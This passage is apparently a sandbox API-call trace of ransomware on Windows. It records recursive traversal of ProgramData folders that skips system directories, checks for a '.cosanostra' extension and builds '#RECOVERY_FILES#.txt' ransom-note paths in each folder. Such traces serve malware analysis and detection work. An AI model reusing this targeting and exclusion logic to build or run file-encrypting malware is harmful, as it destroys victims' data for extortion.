(lpString1="OfficeSoftwareProtectionPlatform", lpString2="Program Files (x86)") returned -1 [0081.223] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.223] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="$Recycle.bin") returned 1 [0081.223] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.223] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="System Volume Information") returned -1 [0081.223] lstrlenW (lpString="System Volume Information") returned 25 [0081.223] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned 61 [0081.223] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0081.223] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0081.224] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned 63 [0081.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.224] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.224] lstrlenW (lpString="Windows") returned 7 [0081.224] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.224] lstrlenW (lpString="Program Files") returned 13 [0081.224] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.224] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.224] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.224] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.224] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.224] lstrlenW (lpString="System Volume Information") returned 25 [0081.224] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\.") returned 63 [0081.224] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.224] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.224] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.224] lstrlenW (lpString="Windows") returned 7 [0081.225] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.225] lstrlenW (lpString="Program Files") returned 13 [0081.225] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.225] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.225] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.225] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.225] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.225] lstrlenW (lpString="System Volume Information") returned 25 [0081.225] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\..") returned 64 [0081.225] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.225] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.225] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.225] lstrcmpiW (lpString1="Cache", lpString2="Windows") returned -1 [0081.225] lstrlenW (lpString="Windows") returned 7 [0081.225] lstrcmpiW (lpString1="Cache", lpString2="Program Files") returned -1 [0081.225] lstrlenW (lpString="Program Files") returned 13 [0081.225] lstrcmpiW (lpString1="Cache", lpString2="Program Files (x86)") returned -1 [0081.225] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.225] lstrcmpiW (lpString1="Cache", lpString2="$Recycle.bin") returned 1 [0081.225] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.225] lstrcmpiW (lpString1="Cache", lpString2="System Volume Information") returned -1 [0081.225] lstrlenW (lpString="System Volume Information") returned 25 [0081.225] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned 67 [0081.225] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0081.225] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0081.225] wnsprintfW (in: pszDest=0x2c5820, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*") returned 69 [0081.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.226] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.226] lstrlenW (lpString="Windows") returned 7 [0081.226] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.226] lstrlenW (lpString="Program Files") returned 13 [0081.226] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.226] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.226] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.226] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.226] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.226] lstrlenW (lpString="System Volume Information") returned 25 [0081.226] wnsprintfW (in: pszDest=0x2c5820, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\.") returned 69 [0081.226] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.226] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.226] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.226] lstrlenW (lpString="Windows") returned 7 [0081.226] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.226] lstrlenW (lpString="Program Files") returned 13 [0081.226] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.226] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.226] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.226] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.226] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.226] lstrlenW (lpString="System Volume Information") returned 25 [0081.226] wnsprintfW (in: pszDest=0x2c5820, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\..") returned 70 [0081.226] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.226] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.226] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.226] lstrcmpiW (lpString1="cache.dat", lpString2="Windows") returned -1 [0081.226] lstrlenW (lpString="Windows") returned 7 [0081.226] lstrcmpiW (lpString1="cache.dat", lpString2="Program Files") returned -1 [0081.226] lstrlenW (lpString="Program Files") returned 13 [0081.226] lstrcmpiW (lpString1="cache.dat", lpString2="Program Files (x86)") returned -1 [0081.226] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.226] lstrcmpiW (lpString1="cache.dat", lpString2="$Recycle.bin") returned 1 [0081.226] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.226] lstrcmpiW (lpString1="cache.dat", lpString2="System Volume Information") returned -1 [0081.226] lstrlenW (lpString="System Volume Information") returned 25 [0081.226] wnsprintfW (in: pszDest=0x2c5820, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat") returned 77 [0081.226] StrStrIW (lpFirst="cache.dat", lpSrch=".cosanostra") returned 0x0 [0081.226] lstrcmpW (lpString1="cache.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.226] lstrcmpW (lpString1="cache.dat", lpString2="_uninstalling_.png") returned 1 [0081.226] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat") returned 77 [0081.227] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.227] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.227] wnsprintfW (in: pszDest=0x2c5820, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\#RECOVERY_FILES#.txt") returned 88 [0081.227] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\#RECOVERY_FILES#.txt") returned 88 [0081.227] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.227] lstrcmpiW (lpString1="tokens.dat", lpString2="Windows") returned -1 [0081.227] lstrlenW (lpString="Windows") returned 7 [0081.227] lstrcmpiW (lpString1="tokens.dat", lpString2="Program Files") returned 1 [0081.227] lstrlenW (lpString="Program Files") returned 13 [0081.227] lstrcmpiW (lpString1="tokens.dat", lpString2="Program Files (x86)") returned 1 [0081.227] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.227] lstrcmpiW (lpString1="tokens.dat", lpString2="$Recycle.bin") returned 1 [0081.227] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.227] lstrcmpiW (lpString1="tokens.dat", lpString2="System Volume Information") returned 1 [0081.227] lstrlenW (lpString="System Volume Information") returned 25 [0081.227] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned 72 [0081.227] StrStrIW (lpFirst="tokens.dat", lpSrch=".cosanostra") returned 0x0 [0081.227] lstrcmpW (lpString1="tokens.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.227] lstrcmpW (lpString1="tokens.dat", lpString2="_uninstalling_.png") returned 1 [0081.227] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned 72 [0081.227] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0081.227] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0081.227] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\#RECOVERY_FILES#.txt") returned 82 [0081.227] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\#RECOVERY_FILES#.txt") returned 82 [0081.228] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.228] lstrcmpiW (lpString1="RAC", lpString2="Windows") returned -1 [0081.228] lstrlenW (lpString="Windows") returned 7 [0081.228] lstrcmpiW (lpString1="RAC", lpString2="Program Files") returned 1 [0081.228] lstrlenW (lpString="Program Files") returned 13 [0081.228] lstrcmpiW (lpString1="RAC", lpString2="Program Files (x86)") returned 1 [0081.228] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.228] lstrcmpiW (lpString1="RAC", lpString2="$Recycle.bin") returned 1 [0081.228] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.228] lstrcmpiW (lpString1="RAC", lpString2="System Volume Information") returned -1 [0081.228] lstrlenW (lpString="System Volume Information") returned 25 [0081.228] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC") returned 32 [0081.228] lstrcmpW (lpString1="RAC", lpString2=".") returned 1 [0081.228] lstrcmpW (lpString1="RAC", lpString2="..") returned 1 [0081.229] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\*") returned 34 [0081.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.229] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.229] lstrlenW (lpString="Windows") returned 7 [0081.229] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.229] lstrlenW (lpString="Program Files") returned 13 [0081.229] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.229] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.229] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.229] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.229] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.229] lstrlenW (lpString="System Volume Information") returned 25 [0081.229] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\.") returned 34 [0081.229] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.229] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.229] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.229] lstrlenW (lpString="Windows") returned 7 [0081.229] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.229] lstrlenW (lpString="Program Files") returned 13 [0081.229] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.229] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.229] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.229] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.229] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.229] lstrlenW (lpString="System Volume Information") returned 25 [0081.229] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\..") returned 35 [0081.229] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.229] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.229] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.229] lstrcmpiW (lpString1="Outbound", lpString2="Windows") returned -1 [0081.229] lstrlenW (lpString="Windows") returned 7 [0081.229] lstrcmpiW (lpString1="Outbound", lpString2="Program Files") returned -1 [0081.230] lstrlenW (lpString="Program Files") returned 13 [0081.230] lstrcmpiW (lpString1="Outbound", lpString2="Program Files (x86)") returned -1 [0081.230] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.230] lstrcmpiW (lpString1="Outbound", lpString2="$Recycle.bin") returned 1 [0081.230] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.230] lstrcmpiW (lpString1="Outbound", lpString2="System Volume Information") returned -1 [0081.230] lstrlenW (lpString="System Volume Information") returned 25 [0081.230] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound") returned 41 [0081.230] lstrcmpW (lpString1="Outbound", lpString2=".") returned 1 [0081.230] lstrcmpW (lpString1="Outbound", lpString2="..") returned 1 [0081.230] wnsprintfW (in: pszDest=0x2c3830, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*") returned 43 [0081.230] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.230] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.230] lstrlenW (lpString="Windows") returned 7 [0081.230] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.230] lstrlenW (lpString="Program Files") returned 13 [0081.230] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.230] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.230] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.230] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.230] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.231] lstrlenW (lpString="System Volume Information") returned 25 [0081.231] wnsprintfW (in: pszDest=0x2c3830, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\.") returned 43 [0081.231] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.231] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.231] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.231] lstrlenW (lpString="Windows") returned 7 [0081.231] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.231] lstrlenW (lpString="Program Files") returned 13 [0081.231] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.231] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.231] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.231] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.231] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.231] lstrlenW (lpString="System Volume Information") returned 25 [0081.231] wnsprintfW (in: pszDest=0x2c3830, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\..") returned 44 [0081.231] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.231] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.231] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.231] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.231] wnsprintfW (in: pszDest=0x2c3830, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\#RECOVERY_FILES#.txt") returned 62 [0081.231] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\#RECOVERY_FILES#.txt") returned 62 [0081.231] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.231] lstrcmpiW (lpString1="PublishedData", lpString2="Windows") returned -1 [0081.231] lstrlenW (lpString="Windows") returned 7 [0081.231] lstrcmpiW (lpString1="PublishedData", lpString2="Program Files") returned 1 [0081.231] lstrlenW (lpString="Program Files") returned 13 [0081.231] lstrcmpiW (lpString1="PublishedData", lpString2="Program Files (x86)") returned 1 [0081.231] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.231] lstrcmpiW (lpString1="PublishedData", lpString2="$Recycle.bin") returned 1 [0081.231] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.231] lstrcmpiW (lpString1="PublishedData", lpString2="System Volume Information") returned -1 [0081.231] lstrlenW (lpString="System Volume Information") returned 25 [0081.231] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned 46 [0081.231] lstrcmpW (lpString1="PublishedData", lpString2=".") returned 1 [0081.231] lstrcmpW (lpString1="PublishedData", lpString2="..") returned 1 [0081.231] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*") returned 48 [0081.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.231] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.231] lstrlenW (lpString="Windows") returned 7 [0081.232] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.232] lstrlenW (lpString="Program Files") returned 13 [0081.232] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.232] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.232] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.232] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.232] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.232] lstrlenW (lpString="System Volume Information") returned 25 [0081.232] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\.") returned 48 [0081.232] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.232] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.232] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.232] lstrlenW (lpString="Windows") returned 7 [0081.232] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.232] lstrlenW (lpString="Program Files") returned 13 [0081.232] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.232] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.232] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.232] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.232] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.232] lstrlenW (lpString="System Volume Information") returned 25 [0081.232] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\..") returned 49 [0081.232] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.232] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.232] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.232] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="Windows") returned -1 [0081.232] lstrlenW (lpString="Windows") returned 7 [0081.232] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="Program Files") returned 1 [0081.232] lstrlenW (lpString="Program Files") returned 13 [0081.232] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="Program Files (x86)") returned 1 [0081.232] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.232] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="$Recycle.bin") returned 1 [0081.232] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.232] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="System Volume Information") returned -1 [0081.232] lstrlenW (lpString="System Volume Information") returned 25 [0081.232] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 65 [0081.232] StrStrIW (lpFirst="RacWmiDatabase.sdf", lpSrch=".cosanostra") returned 0x0 [0081.232] lstrcmpW (lpString1="RacWmiDatabase.sdf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.234] lstrcmpW (lpString1="RacWmiDatabase.sdf", lpString2="_uninstalling_.png") returned 1 [0081.234] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 65 [0081.234] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.234] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.234] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\#RECOVERY_FILES#.txt") returned 67 [0081.234] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\#RECOVERY_FILES#.txt") returned 67 [0081.234] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.234] lstrcmpiW (lpString1="StateData", lpString2="Windows") returned -1 [0081.234] lstrlenW (lpString="Windows") returned 7 [0081.234] lstrcmpiW (lpString1="StateData", lpString2="Program Files") returned 1 [0081.234] lstrlenW (lpString="Program Files") returned 13 [0081.234] lstrcmpiW (lpString1="StateData", lpString2="Program Files (x86)") returned 1 [0081.234] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.234] lstrcmpiW (lpString1="StateData", lpString2="$Recycle.bin") returned 1 [0081.234] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.234] lstrcmpiW (lpString1="StateData", lpString2="System Volume Information") returned -1 [0081.234] lstrlenW (lpString="System Volume Information") returned 25 [0081.234] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData") returned 42 [0081.234] lstrcmpW (lpString1="StateData", lpString2=".") returned 1 [0081.234] lstrcmpW (lpString1="StateData", lpString2="..") returned 1 [0081.234] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\*") returned 44 [0081.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.234] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.234] lstrlenW (lpString="Windows") returned 7 [0081.235] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.235] lstrlenW (lpString="Program Files") returned 13 [0081.235] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.235] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.235] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.235] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.235] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.235] lstrlenW (lpString="System Volume Information") returned 25 [0081.235] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\.") returned 44 [0081.235] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.235] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.235] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.235] lstrlenW (lpString="Windows") returned 7 [0081.235] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.235] lstrlenW (lpString="Program Files") returned 13 [0081.235] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.235] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.235] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.235] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.235] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.235] lstrlenW (lpString="System Volume Information") returned 25 [0081.235] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\..") returned 45 [0081.235] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.235] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.235] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.235] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="Windows") returned -1 [0081.235] lstrlenW (lpString="Windows") returned 7 [0081.235] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="Program Files") returned 1 [0081.235] lstrlenW (lpString="Program Files") returned 13 [0081.235] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="Program Files (x86)") returned 1 [0081.235] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.235] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="$Recycle.bin") returned 1 [0081.235] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.235] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="System Volume Information") returned -1 [0081.235] 